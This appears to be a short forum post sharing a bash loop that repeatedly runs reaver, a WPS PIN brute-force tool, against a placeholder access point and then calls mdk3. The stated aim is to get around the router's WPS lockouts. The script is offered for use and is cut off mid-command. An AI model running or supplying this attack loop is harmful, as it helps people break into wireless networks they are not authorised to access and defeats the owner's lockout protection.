Here is what i am using to get around locks...
while :; do echo
echo "starting reaver...";
echo y|reaver -i mon0 -b <bssid> -c <channel#> -g 5 -vv
echo ...
echo ...
echo ...
timeout 10s mdk3...